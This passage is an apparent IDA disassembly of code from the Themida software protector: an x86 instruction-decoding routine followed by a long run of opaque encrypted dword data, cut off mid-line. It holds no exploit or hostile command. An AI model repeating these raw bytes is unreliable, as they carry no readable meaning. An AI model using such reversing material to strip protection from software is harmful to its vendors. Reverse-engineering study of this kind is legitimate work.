CODE XREF: Themida_:0059335Ej movzx edi, al shr edi, 1 loc_593384: ; CODE XREF: Themida_:0059337Aj push ebp call $+5 pop ebp sub ebp, 64D9ECDh lea ebp, [ebp+64D9B8Bh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_593506 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59344A dec ecx jz loc_59342D dec ecx jnz loc_59349D cmp byte ptr [ebp-2], 0 jnz loc_593499 cmp byte ptr [ebp-5], 0 jz loc_59340C mov byte ptr [ebp+0Bh], 2 loc_59340C: ; CODE XREF: Themida_:00593402j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 64D9F59h mov dword ptr [ebp+64D9CABh], 1 pop ebp jmp loc_59349D ; --------------------------------------------------------------------------- loc_59342D: ; CODE XREF: Themida_:005933E7j cmp byte ptr [ebp-2], 0 jnz loc_593477 cmp byte ptr [ebp-5], 0 jz loc_593477 mov byte ptr [ebp+0Bh], 2 jmp loc_593477 ; --------------------------------------------------------------------------- loc_59344A: ; CODE XREF: Themida_:005933E0j cmp byte ptr [ebp-2], 0 jnz loc_593490 cmp byte ptr [ebp-5], 0 jz loc_59347F movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_593477 mov [ebp+0Bh], cl loc_593477: ; CODE XREF: Themida_:00593431j ; Themida_:0059343Bj ... inc byte ptr [ebp+0Bh] jmp loc_59349D ; --------------------------------------------------------------------------- loc_59347F: ; CODE XREF: Themida_:00593458j cmp dl, 5 jnz loc_59349D mov [ebp+0Bh], dl jmp loc_59349D ; --------------------------------------------------------------------------- loc_593490: ; CODE XREF: Themida_:0059344Ej cmp dl, 6 jnz loc_59349D loc_593499: ; CODE XREF: Themida_:005933F8j mov byte ptr [ebp+0Bh], 3 loc_59349D: ; CODE XREF: Themida_:005933EEj ; Themida_:00593428j ... dec byte ptr [ebp+0Bh] jz loc_5934CB movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5934AD: ; CODE XREF: Themida_:005934C3j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5934AD mov esi, edx loc_5934CB: ; CODE XREF: Themida_:005934A0j and al, 0FEh cmp al, 0F6h jnz loc_593500 cmp edi, 7Fh ja loc_593500 test bl, 38h jnz loc_593500 cmp byte ptr [ebp-7], 0 jz loc_5934FA movzx eax, byte ptr [ebp-4] jmp loc_5934FD ; --------------------------------------------------------------------------- loc_5934FA: ; CODE XREF: Themida_:005934EBj push 1 pop eax loc_5934FD: ; CODE XREF: Themida_:005934F5j mov [ebp-1], al loc_593500: ; CODE XREF: Themida_:005934CFj ; Themida_:005934D8j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_593506: ; CODE XREF: Themida_:005933B0j mov al, bl and eax, 7 sub eax, 4 jz loc_593531 dec eax dec eax jz loc_593527 and bl, 7 add [ebp-1], bl jmp loc_593539 ; --------------------------------------------------------------------------- loc_593527: ; CODE XREF: Themida_:00593516j mov al, [ebp-3] add al, 6 jmp loc_593536 ; --------------------------------------------------------------------------- loc_593531: ; CODE XREF: Themida_:0059350Ej mov al, [ebp-3] add al, 4 loc_593536: ; CODE XREF: Themida_:0059352Cj add [ebp-1], al loc_593539: ; CODE XREF: Themida_:00593522j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_593561 movzx ecx, byte ptr [ebp-1] inc ecx loc_59354C: ; CODE XREF: Themida_:0059355Bj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59354C loc_593561: ; CODE XREF: Themida_:00593541j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dd 8EBD08Bh, 40E63F6Ah, 77E7339Ch, 0C97E9h, 0A23F6800h dd 0AEE9064Dh, 68FFFADDh, 64DA353h, 0FADDA4E9h, 0A4E968FFh dd 9AE9064Dh, 68FFFADDh, 64DA5FFh, 0FADD90E9h, 0A75568FFh dd 86E9064Dh, 68FFFADDh, 64DA960h, 0FADD7CE9h, 0AAB768FFh dd 72E9064Dh, 68FFFADDh, 64DABA9h, 0FADD68E9h, 0E9E889FFh dd 90951F8Bh, 403A4F0h, 89882864h, 3E33BFEBh, 58603152h dd 0E3BFDDDCh, 7420405Dh, 0FEAAF6C9h, 41127E75h, 0D418502Eh dd 2A47C71h, 46EC8081h, 842FEB43h, 3A0F081h, 932D6404h dd 7641510h, 0BF17F295h, 9F36D4EFh, 6C451ECFh, 0DCADCA7Ch dd 6C45460Eh, 0EA510D7Ch, 0A90041BAh, 339BDBh, 0B9000000h dd 7549DC7Eh, 7C6C4064h, 99255C55h, 463712B4h, 0FC084C39h dd 394672D8h, 0CEBAFA48h, 25917C6Ch, 9D25B766h, 659E2E84h dd 0BFDBA992h, 103h, 0FBFE85E4h, 0C161FB8Ah, 2AE6AC0h dd 33034519h, 22D17624h, 0B1DA5D7h, 0DF5CDD10h, 9BDDB148h dd 297624BAh, 0C187D74Eh, 0F7624BAh, 0DFADCA60h, 50205154h dd 0DDB4D4D3h, 32AEA343h, 0BD1BB3B6h, 7624BFC8h, 107077FCh dd 55EBFF84h, 0BF48005Eh, 0EB947624h, 309CED6Ah, 0FCD24507h dd 7C6CE871h, 0F7AECAB5h, 70BA4482h, 4BE3F8E1h, 9302C8F3h dd 0B775DD3Bh, 0CD5CE82h, 0C872840h, 0BE397F4Fh, 0F8877626h dd 0D8A7D37Bh, 3237B34Dh, 0BBBE3A56h, 0A0F5DE04h, 8737E812h dd 0A77h, 44243BBAh, 0CDAFAA48h, 31534ED1h, 0A4C4DD65h dd 2F4D4CE8h, 0EB97AF04h, 881E8A16h, 6A3FF9Dh, 8E356103h dd 637AE98Bh, 71D54D0Bh, 42C59B7Ch, 6DF8F985h, 0F1F7DDD6h dd 21D59F3Dh, 24F53771h, 4CE98576h, 0FE7F3C4Dh, 20594858h dd 9F1BDAB8h, 0FB8CED9Ah, 0AA0E820h, 77EEE58Eh, 0E2CA8EE0h dd 69167624h, 0B902A1C1h, 7549DC7Eh, 7C6C4064h, 5958E4B0h dd 37B34DD8h, 78EE3CC6h, 0CF4CF47Ch, 0BAFA4867h, 917C6CD5h dd 0E3385FEh, 0ADE01B41h, 49944B05h, 0EA9CDCB2h, 4F287C6Ch dd 0B62CD7E7h, 0BBF6DBA9h, 2D000000h, 8AFBFE85h, 0E87F72FEh dd 0E0BEAF54h, 762432A8h, 0BDCA4B34h, 895956FCh, 7624379Ch dd 0EC8C8B28h, 0ABC033B0h, 1A60C91Ch, 3A92E360h, 0ABB64801h dd 0C95CDDDAh, 6CD968F5h, 91F3BC7Ch, 0C95CFE39h, 0B72802F5h dd 9A19B382h, 2981EE9Fh, 0E077EE89h, 2727CA8Eh, 0C1691676h dd 3D3CB854h, 0A2A7435Fh, 0A08BBD1Bh, 9604FB12h, 963h dd 30502FD6h, 0B9DBDE64h, 2D4F5AEDh, 90F0F171h, 1B797804h dd 7A39BF8h, 942A6602h, 32BFEB89h, 0A2415D3Fh, 770EC5A7h dd 71D56127h, 4ED96F7Ch, 90EEF985h, 762432D8h, 7E1A9BE4h dd 13828122h, 3266227Ch, 35727624h, 0B1191CA7h, 0EC807211h dd 0D4D15347h, 0F159C6A7h, 0EF948221h, 9D1A9BE8h, 10179CECh dd 7D1F1870h, 0D6AD56EAh, 67FE9500h, 24335117h, 0BA109F76h dd 6C633D1Ch, 0A6F8897Ch, 7C6C62E2h, 730081EEh, 6C62A2E3h dd 4E3DA97Ch, 0A922BD66h, 5CE67DBh, 0B24E0000h, 31433037h dd 0A037B4B5h, 6C6A8ACEh, 8129567Ch, 0CF7EB9E6h, 5C5D2A27h dd 0EB7648DFh, 77C6C3Bh, 0F9BB0B78h, 507C6C3Ah, 571A443Dh dd 31BFAF5Eh, 4C782799h, 0DBA9CAD7h, 58F0Dh, 7EB99600h dd 707549DCh, 0C47C6C4Eh, 387CCABBh, 137C6C4Eh, 57CCF8A7h dd 8DDBA909h, 570h, 5E76D916h, 5E30A765h, 7C6C430Fh, 0D0C95C5Bh dd 0B5617953h, 839F3785h, 816E78D5h, 65271008h, 7CAD9CF2h dd 7E3906C9h, 85D7B2E7h, 3608B61Dh, 82BD13A0h, 1AB64DD8h dd 0A2308685h, 881FA9Ch, 0A1B2304Ch, 81E98BCDh, 0D15E5900h dd 0CE51C3A0h, 0CEC352D3h, 7BD9279Bh, 30E54D64h, 0ECAC0299h dd 18008165h, 8AEB9887h, 878045FEh, 994D47B4h, 5DE6B218h dd 7E3A7E50h, 0F9860081h, 10891878h, 106E4968h, 818058h dd 0B6E1B64h, 0A575DD26h, 5AA41B1Eh, 5C88460Fh, 7CD33A3h dd 0C56C0000h, 70F2AECAh, 0E47B1775h, 670F9BF9h, 16920E6Ah dd 5527113h, 0D0B0B13Dh, 452722C4h, 0CFADAC49h, 375550D3h dd 0F3B5099Ch, 0C17C71D6h, 0FE85A47Fh, 0F9C28AFBh, 742DC453h dd 3941D033h, 0B5238B50h, 7C721BA2h, 0FD6B0976h, 7C721AE7h dd 0A74351DDh, 575425A2h, 0F47F6DD6h, 0FD3B93F1h, 0C2FED047h dd 0E7C721Ah, 0E3801061h, 4ED32A10h, 0C388026Ch, 0D68EF12Bh dd 0C550D15Eh, 238B8E2Bh, 0F39BC987h, 0F7AC7C71h, 9565C64Fh dd 80225728h, 0BD19B4B8h, 0EA9703ABh, 9A197517h, 1450EE9Fh dd 0B37C71FEh, 0B9AD48E4h, 0CCBD3A27h, 4E3F2ABCh, 500AA021h dd 0A7A241EBh, 92217B30h, 0F28AC657h, 1C2BF00Dh, 872FACBCh dd 0BB13AAFBh, 6FD70EFDh, 13F6E5CCh, 7103F2C1h, 73F0A036h dd 0EDB70774h, 0EE6FD6E7h, 0CE75BF6Ch, 0FC1FA9CBh, 74000000h dd 8AFBFE85h, 0F7C73FEh, 2432F9BFh, 999C2776h, 0F19BA4E8h dd 0D3FF0866h, 4C2B7C71h, 55E113F1h, 0CC7A350Ch, 6B7h dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h, 6F0D0CA8h dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh dd 71D80D4Bh, 8205DB7Ch, 8AFBFE85h, 1D7F72FEh, 72E5E481h dd 9505A6DBh, 6C0C633h, 250A1048h, 0BFAA3C76h, 0D4D3A1CEh dd 8D36627Eh, 0E08D1FB6h, 6D3949E1h, 9CEB34C1h, 0F9D4E709h dd 7856ED78h, 7624F640h, 2C4BE38Ch, 46D1D05Ch, 5764214Dh dd 3991864Fh, 0D58AE4BAh, 0F76E630Fh, 72D8D965h, 1C5DC656h dd 787DDE1h, 1C000000h, 6C67h, 0FE85FC00h, 783C8AFBh, 59762442h dd 96D54942h, 0AD9B1BE3h, 4C944B05h, 0D1C0A0A7h, 0CDBAB73Fh dd 0EF8A06ACh, 8ACB9BE8h, 8576252Fh, 23CE12C9h, 3024643Ah dd 0F7B07625h, 85892A76h, 0F888F9F8h, 7F0D7A7Dh, 0F183F0F5h dd 87047574h, 47DF14CBh, 0C762B675h, 7836A0C0h, 8376243Ah dd 0E11A37EDh, 0FEDAEFDDh, 6734FFFFh, 2B8h, 0FFE85FCh dd 0C3A9E28Bh, 0F7840537h, 24932D67h, 0EEA37276h, 0F80D12E7h dd 0C880DE1Ah, 147624AFh, 0A44EA6Bh, 0E1E48F55h, 696C1783h dd 0B01A4A18h, 852E7624h, 0A49FF18Eh, 44D86FE6h, 4F0DA5BCh dd 7C7250B8h, 42B80760h, 740C55A4h, 5610BBBh, 51D00000h dd 0DC66325Eh, 58EFBBD9h, 0F3732F4Dh, 7A0692FEh, 99FE0567h dd 640405A1h, 0E98B9628h, 533130BDh, 0DBB9BC47h, 5F197508h dd 6D7C71D9h, 0FE8548DBh, 72FE8AFBh, 0C5A2168Bh, 634D2623h dd 84E46519h, 7AB7940Dh, 0A69526FDh, 0E4E38010h, 5F940D84h dd 78339505h, 0F17D1DB5h, 35CB65F0h, 0CB5A5B28h, 2452B5F3h dd 0CE640376h, 5257D3A1h, 0BC635D25h, 0ABC9C874h, 0E1321803h dd 1E6C2DDh, 0B9590000h, 1AA8D97Bh, 75133148h, 0C8FCA31Fh dd 230FEC53h, 1CF89h, 7BB91200h, 38704ED9h, 84762433h dd 663C8AFBh, 3D751331h, 7913DA81h, 3854FAE7h, 230FECC3h dd 1AB19h, 7BB98200h, 4A9C2E2Dh, 14957053h, 5A6F2D81h dd 0F9907624h, 245AE3A5h, 20B6F176h, 0C8661790h, 7513597Ah dd 0E6CEBD29h, 230FC43Dh, 17BE7h, 0B803C00h, 2DB2431Fh dd 8A59453Eh, 7EFFFA78h, 9A3804D8h, 3FFDB30Bh, 0ACCB7624h dd 3F330FDFh, 179D7513h, 6F176512h, 239DE592h, 3413B47Ch dd 33E85AB7h, 0D4D350ECh, 0E1B56E7Eh, 396F230Fh, 0B4000001h dd 0C19E0B80h, 5D6517DAh, 0A0C8DAACh, 0BA320C2h, 90E1E48Fh dd 0F1646300h, 5229C85Fh, 6E0E66FBh, 0E8C651DEh, 76245CB0h dd 0CFDB733Ch, 9F36D4EFh, 6C6F1ECFh, 0CB7A2F7Ch, 2BF4E9FDh dd 55525EF4h, 9ECE9624h, 0C9857C6Ch, 7EC93212h, 2513DBA9h dd 88000000h, 49DC7EB9h, 6C406475h, 38BB557Ch, 9AE5953Dh dd 40175DEDh, 80327C6Ch, 336EDDBh, 9FECDBA9h, 37000000h dd 4C5BEC80h, 8A892AE6h, 0E03AFFDh, 647D0597h, 50D3A1CEh dd 0AF542455h, 47D9C8A8h, 0A9D6A7BAh, 37E25301h, 0ED967624h dd 19228A16h, 0B5C2C560h, 49E077F4h, 369CDCB2h, 4F287624h dd 0D87CE9E7h, 99E87C6Eh, 6ED783C5h, 0A956517Ch, 0E1DA23Eh dd 0D753EDA8h, 5EDAB6D2h, 0DC0CE45Bh, 453A0C58h, 356D5h dd 455CE500h, 0CCC96B27h, 706FF0ACh, 0E5FC8410h, 6A6F0B87h dd 0B48CE50Eh, 3F6B0908h, 0C0DCBCA9h, 4A462225h, 15CEAAA9h dd 0DB6C2C82h, 0E6787C71h, 0F8F9853Dh, 60670C98h, 0FE856300h dd 61FB8AFBh, 0AF6BC3DEh, 0F5630104h, 762432B0h, 0AA3DDFD8h dd 6C4D85D4h, 38C5D17Ch, 3BD8B839h, 6CFBFE85h, 0FD5554D0h dd 6915A7FEh, 349A1B68h, 0B8D8DF64h, 0B225E7D0h, 6C4531DCh dd 0BDCAB57Ch, 6C44672Dh, 13169D7Ch, 976A1662h, 0A01FD3E6h dd 17D4866Bh, 0A900CA31h, 2F10DBh, 0E2790000h, 6C4CCC8Ch dd 379F187Ch, 0DC7EB9ACh, 40647549h, 0F7B07C6Ch, 2027CC60h dd 175DED8Ah, 327C6C40h, 36EDDB80h, 0ECDBA903h, 0C9h, 0FBFE8537h dd 7F72FE8Ah, 0F2F1720Eh, 0C3B9F285h, 0A324F1E1h, 0E1820EA4h dd 5DC886E2h, 6976252Ch, 0F1ADCFCAh, 6F067772h, 23C286D8h dd 720E7625h, 0DA70F1ECh, 4933902h, 6D53E3AAh, 1878077Ch dd 52C587B0h, 948221BBh, 1B68E9E8h, 0A9A6349Ah, 0C482B7B5h dd 0C39B8C28h, 7626AC85h, 0A6D75453h, 4D8EACD9h, 1FCACDAAh dd 0C76F3BB7h, 7FFCBDCAh, 4E97B3E8h, 0B5B933DDh, 58E4781Dh dd 0C36F3B59h, 0DF5C55DDh, 0A0A28660h, 5FCF4012h, 1FFh dd 0DCBCB332h, 452722C0h, 0C9ABB649h, 3C5C55DDh, 0A7C5C460h dd 630F379Ch, 0F096026Eh, 9E1B7715h, 6ADF99Bh, 0DBF26103h dd 71DCC583h, 0DA4D137Ch, 98F8F985h, 60670Ch, 0DC7EB963h dd 951EB249h, 0F1B7079Eh, 0FF762432h, 2DBC1AB0h, 1C7C6C40h dd 3F6F2985h, 327D7C6Ch, 0E2931C9Ch, 153E1E93h, 0C316137Ah dd 6CB4ADEBh, 0FF7C3B7Ch, 0B53B7957h, 0A4167C6Ch, 8C5AC1E7h dd 0C180DBA9h, 0E9000000h, 0D8A9AC57h, 855073DBh, 0FE8AFBFEh dd 53156972h, 81762432h, 1293E0E1h, 0EB981966h, 2437EA5Bh dd 1E159E76h, 744DF587h, 0B0D06607h, 0CD585FE4h, 0C4B5B033h dd 369BDDB1h, 4E297624h, 0D5D053C1h, 406FC7A4h, 0FE69330Ch dd 6C66DDA0h, 26E097Ch, 46D891AAh, 734BDA5Bh, 82B6FF9Dh dd 87198CEBh, 0E9AE6FBh, 0BCD06F62h, 0FA12A0F5h, 10D9505h dd 852C0000h, 30B2EE8Ah, 0A43B5735h, 27CFDBB9h, 0D6524E2Ah dd 0C592B1D3h, 107071FDh, 85E7E284h, 0F6D6C09h, 77151093h dd 0B3F5C9DCh, 17C71DDh, 0F985E4BFh, 770998F8h, 0CE8AE4CFh dd 1A762432h, 0DAB61C9Dh, 31CB5A59h, 9F24B4B5h, 0D963298h dd 56E8FE85h, 0EABDCA4Bh, 0D8A9AC56h, 1CA773DBh, 962A7B19h dd 0EFBF17EAh, 0CF9F36D4h, 7C71D334h, 0B6C2B3FCh, 9899250Dh dd 0D0A0A4EFh, 1986A246h, 7376F28Eh, 3AD6CFDBh, 8713BBBEh dd 3A88F9FCh, 0C31DBB1Ch, 1C6D640Ch, 4219E48Ch, 0BE897695h dd 0DFADDA5Bh, 0EBC55D48h, 9D34FF34h, 17646103h, 2B351D96h dd 7BA36943h, 0FE2299D3h, 50E77E75h, 0B273A7Eh, 51F986B7h dd 0DBDE6531h, 39BE574Ch, 91024618h, 0A1CEB70Ah, 52C092D4h dd 5ADFFFCh, 6D2B831Ah, 7BB70B09h, 0A2A6E3Ch, 0C9B6B70Bh dd 0DE9C3B48h, 2E38BB61h, 0F7FA8F82h, 9AE93DFBh, 821E7AFBh dd 0E595E2E1h, 3, 85DA4162h, 494E5FCh, 790B787Fh, 0FC8CFDFCh dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h dd 0B9BFCCC9h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241489h dd 706Fh, 68242C89h, 1096h, 53241489h, 8D48AFBBh, 0E9BBBD36h dd 0C5813CDAh, 5EE7585Ah, 0ED81DD29h, 5EE7585Ah, 148B545Bh dd 4C48124h, 53000000h, 5A89EB89h, 241C8B08h, 8B04C483h dd 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 2434FF5Ch dd 4C4835Dh, 0FAD124E9h, 0C37A50FFh, 4DACDBB8h, 0FFC50306h dd 6DD811E0h, 75EC2021h, 4C40D953h, 15624675h, 5A85CE59h dd 1AB2513Fh, 4DD35F60h, 0F9DF2948h, 55FBEF46h, 0DD6FC917h dd 27A85C42h, 0CA539E52h, 0ECAAF96Dh, 342CA864h, 0B8A59419h dd 53502556h, 4174FC70h, 0DD359834h, 703A3B1Dh, 0C6AFA57Eh dd 0F8636B1Bh, 1B3CA605h, 6738530Dh, 4642106Ch, 0AC9CF502h dd 11887071h, 0FA139A28h, 2DEB4Ch, 0D0000000h, 9CBFAE0Dh dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h dd 9D8993h, 67268168h, 3B2BD14h, 3F8709BFh, 0B9BE9h, 0AEE86800h dd 6EE9064Dh, 68FFFAD0h, 64DB00Bh, 0FAD064E9h, 0B11B68FFh dd 5AE9064Dh, 68FFFAD0h, 64DB199h, 0FAD050E9h, 0B27468FFh dd 46E9064Dh, 68FFFAD0h, 64DB3BBh, 0FAD03CE9h, 0B47B68FFh dd 32E9064Dh, 68FFFAD0h, 64DB6B1h, 0FAD028E9h, 0B7D468FFh dd 1EE9064Dh, 0D3FFFAD0h, 613D5F52h, 0EEBAC6C3h, 722E4A59h dd 19DFFF2h, 0FF046465h, 0F02AE96h, 0B2AF316Dh, 383FBAD6h dd 0A0A74C58h, 227C13C0h, 7C71E066h, 0B93BEC72h, 7549DC7Eh dd 7C71E11Ah, 0FA96016Eh, 51EB7A79h, 0C5A2D3CEh, 0A2415D6Dh dd 0BD86D6A7h, 5FF1881Fh, 6674DAD7h, 82BF8DECh, 178C1B64h dd 0E8A37195h, 76630CCAh, 1146CF91h, 0C15B3A90h, 49452722h dd 0FEDEAFAAh, 0F99007C5h, 0A8D9DC67h, 0D07563CBh, 247C6CB4h dd 2AFEE45Bh, 57C80C5Bh, 9FDA7h, 0CDC46D00h, 7471F3AFh dd 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h, 0C7D3B1B0h dd 48442421h, 0D2CEAAADh, 9D365251h, 0E0F4B40Ah, 7EC07C71h dd 0FBFE85A5h, 7E75FE8Ah, 0CD81BA12h, 2432B7F1h, 0FD7A0576h dd 0B939D36Ah, 17512DB8h, 0A5762433h, 0B76674DAh, 0D67C6C45h dd 0CBB8BF3Ah, 0B7404AAh, 44A8EC7Ah, 37A37C6Ch, 0A75C48h dd 3D7DDBA9h, 0A6000000h, 27CF7EB9h, 0C95C5D2Ah, 2432B3F5h dd 0F9660176h, 3F89106Eh, 2A557C6Ch, 3FC78D5Dh, 0D0827C6Ch dd 6ACFC46Bh, 0E4A38E31h, 114CCFD1h, 70E87064h, 0A159C2DAh dd 0B783DBA9h, 18000000h, 8AFBFE85h, 0E7F72FEh, 85F2F172h dd 0DE494CF7h, 0EA775247h, 254DA3BDh, 247D3375h, 50E68176h dd 80DBA630h, 4CF77624h, 0F47F2B49h, 0F3CC80F1h, 5DE0BE29h dd 897C6CA5h, 112A82EEh, 4BA7DC4Bh, 0DC5769ABh, 7A54C169h dd 82B7929Eh, 861A8DEAh, 0DC70E7FAh, 21C25E51h, 0A5FC8C22h dd 0C0966B0Bh, 3CC6D450h, 0AA2B4839h, 0A16F7513h, 5ECC4312h dd 8DAh, 88E8E78Eh, 0F193961Ch, 650702A5h, 0E8888929h dd 533130BCh, 0DF5B6330h, 5CE2BEDAh, 0CA772341h, 7AF995F7h dd 2F461D7Fh, 71E3195Fh, 8601A77Ch, 698E0B80h, 0B71B9AAh dd 764BF7A3h, 0FEF57E2Ah, 7EB9F192h, 647549DCh, 0B07C6C40h dd 3FCB8DE1h, 9E197C6Ch, 0E3606702h, 3F80C492h, 0C4CB7C6Ch dd 198B9628h, 0BB359D9Ch, 33BE0C4h, 0D6E1DBA9h, 3A000000h dd 8AFBFE85h, 0E7F72FEh, 2436F1B0h, 0A756DD76h, 9007C2F1h dd 0B1D35019h, 337549E0h, 647624B1h, 24B14E0Ah, 6F1D9A76h dd 45EEAA00h dd 0CA66314Eh, 0BBBE442Ah, 5F2CADCAh, 1B24F85Eh, 0B84FE671h dd 0B10B4D21h, 0DED97624h, 24B0C880h, 0C36B1476h, 6CDA8895h dd 0C4535C7Ch, 0DE739ACFh, 13BB6029h, 7E1C2777h, 0C2097E7h dd 2F4882B7h, 3D2EC3B8h, 0A47B244Ah, 49F5870Eh, 0AFDCD95Bh dd 3AD641CEh, 0ADCABBBEh, 902C6505h, 562130Eh, 4041EDADh dd 0A171D1FDh, 0BA28E712h, 7CAh, 7818179Eh, 0E183862Ch dd 553712B5h, 0D8B8B939h, 432120CCh, 0CF6B5320h, 6CF2AECAh dd 0FA871371h, 6A0985E7h, 3F560D6Fh, 71E4296Fh, 7611B77Ch dd 98F8F985h, 60670Ch, 0FBFE8563h, 7E75FE8Ah, 33004412h dd 2F087624h, 0C1A4FA6Dh, 157C71E0h, 0C864FB6Ah, 14842A2Dh dd 9C08686Fh, 2D631017h, 81DD4812h, 82B9F568h, 2E28BF51h dd 0AA008184h, 0B6DE610Eh, 90129DD6h, 74C6F1Fh, 951C0000h dd 0A2FE9Ah, 942B6705h, 37BFEB89h, 0A6425E3Ah, 0D5A2C1A3h dd 204041EDh, 95F7D274h, 1F7D7CF9h, 87E5E083h, 0A3E5B9CCh dd 317C71E3h, 0FE85F4AFh, 75FE8AFBh, 0DC79017Eh, 0D4A5A440h dd 9E4D7FD7h, 0CEAAA94Ah, 0E10EF52Eh, 3DCF66DDh, 0A8E0BEABh dd 3476243Eh, 107BE34Bh, 0A0000000h, 0BA6F0B80h, 8D373B85h dd 1EC9725h, 470C0000h, 762432FDh, 0DF9A2C17h, 33FE154Dh dd 0F8D641CEh, 7C724492h, 702A13Bh, 11A10976h, 0DA6DFF96h dd 12AE67CFh, 69039291h, 5356DDCBh, 0B7C44522h, 544060F6h dd 0CCDBA8AFh, 83837C35h, 0DA2D0AB1h, 719DCC8Ch, 0C1F81F7Ch dd 0F464F43Ch, 0FB53FB84h, 0CB87EEC0h, 9D0E4BADh, 1435891Ch dd 0E082B9D2h, 0EF823887h, 0FBB4129Dh, 6714Bh, 7170F100h dd 0F8FD8713h, 6C7B0C98h, 1110900Ch, 869B2773h, 0C0F8D9FAh dd 4B472524h, 0DCC8A8B5h, 66325E51h, 29BAC6DDh, 0E4803896h dd 0FA4C7C71h, 0FBFE8529h, 0A297376Ch, 5EDD7BDDh, 0C1AEDFD2h dd 0A1E43740h, 335CB110h, 0E78C1C9Bh, 42DE75E0h, 0B5F3A3A6h dd 376246Dh, 4948F464h, 29CCD2E1h, 87EF7170h, 0F2700C61h dd 78F986F7h, 0F92398D2h, 841D7F7Ah, 3B4857E8h, 43B8D47Ah dd 99DDE185h, 7, 0F46702h, 0B9FC0000h, 0B249DC7Eh, 318D961Eh dd 76243277h, 15BD3A45h, 71E0E847h, 45B3207Ch, 0B42E73A8h dd 0AA631BEh, 64FB6A69h, 72174E0Ah, 0B51D9A7Ch, 4EE57C15h dd 72173870h, 0ABFB847Ch, 7C7216EDh, 0EB99841Bh, 0C96A268Ch dd 0E8D3BDCAh, 67DBB322h, 482BFC4h, 62C8D768h, 22BE2956h dd 79138281h, 0C46EFAE7h, 4D5969C1h, 9FD9B5A6h, 0CD76247Bh dd 0A0532120h, 5EC840ACh, 60E16E0Ah, 27C25EF5h, 4525320h dd 7624C044h, 30BF1790h, 2B2ECB65h, 19F55D5Ah, 0DED86F1Eh dd 40215E55h, 67F5B2C3h, 0F4B5C2DFh, 0B749E077h, 3B78090Ch dd 0F020C593h, 8BF47C6Ch, 5AD17C34h, 25D54A0Ch, 52Ah, 0D8B8B73Eh dd 412326CCh, 0B5D7B255h, 385859D9h, 0A3C1C06Ch, 6F0B3380h dd 0C920E6Ah, 9A277311h, 0AA9E587h, 0DFF66D0Fh, 71E5C98Fh dd 0D6B1177Ch, 15B67h, 7EB9FC00h, 0DCB249DCh, 7624329Ch dd 9109BB28h, 3625B62Fh, 0DD742189h, 0A5306846h, 0F3BC7624h dd 53227D5Bh, 0E9837C72h, 70314E4Bh, 9F625907h, 842AEE9Ah dd 801C8BF4h, 0DF71E4E3h, 0E9F95154h, 842036BDh, 686D1785h dd 6C1D9A1Bh, 0E2751720h, 0C035B14Bh, 0D749CB2Bh, 1B68E964h dd 0ACA6349Ah, 2482BF13h, 0B330CC5Bh, 3BB8D4B4h, 36014F3Ch dd 0D66A0194h, 44255231h, 145E0EEh, 16917C6Dh, 5AE10F57h dd 0C846390Ch, 46Ah, 187877FEh, 81E3E68Ch, 0F5977215h dd 78181999h, 0E381802Ch, 2FCBF3C0h, 0CC524E2Ah, 5AE7B3D1h dd 0CA692547h, 9F36ADCFh, 71E689CFh, 16F1577Ch, 777C0B80h dd 0EB10E8B8h, 7C3D4A4Fh, 38BB57FFh, 0B73C4C3Dh, 288A0C44h dd 23857F6Fh, 2D5511Dh, 98E99617h, 1E6F6A08h, 98F6E782h dd 7624C7E0h, 750283ECh, 36CFBC0Eh, 0CF6B0590h, 0B56A64CAh dd 56C1C46Fh, 4C3D38BAh, 53FB872Fh, 0DDE19BA8h, 4B72h dd 7EB9A900h, 0F9B249DCh, 0EAC8B6ACh, 654FAD9h, 7C6D3FBEh dd 0FAE97E0Ah, 0B156EA7Dh, 0E64E43D2h, 4E8012E4h, 504FD040h dd 3570EEFAh, 617C6C7Ch, 5433D4C2h, 1D4B40D7h, 6615BC0h dd 0E3BFCB63h, 0D3D6525Ch, 9BB52552h, 12000003h, 6EF9F885h dd 69B2A2D7h, 551893C6h, 24B24305h, 40169176h, 0C7C26133h dd 5C4AE9A5h, 2E3BCDD1h, 52D35051h, 36BE5225h, 852D4A3Bh dd 0E7786E15h, 0B7EC7BF8h, 0A067CE51h, 205836DAh, 0AC7624F0h dd 0DCEC42C3h, 8E19C3FCh, 19F82F7h, 0F6FAC2D5h, 2B4D8A27h dd 963CBDE0h, 6CFD1538h, 0D9D6D17Ch, 6CDD4B09h, 0FDFC797Ch dd 7F6AFC8Ch, 1ECD810Eh, 0CA6134D9h, 6CDCB4F4h, 0C874007Ch dd 7AFBB8C9h, 3259AD4h, 0DBA9B818h, 65C2h, 93F6AB00h, 6D84A190h dd 80D5EE44h, 0D55E44ECh, 43C0A1DEh, 742813EBh, 24325E1Ah dd 891E6A76h, 99C1D9Ah, 6C4024B5h, 0F87B157Ch, 5A2555FDh dd 3AC65A2Dh, 7D7E37D3h, 75F293F2h, 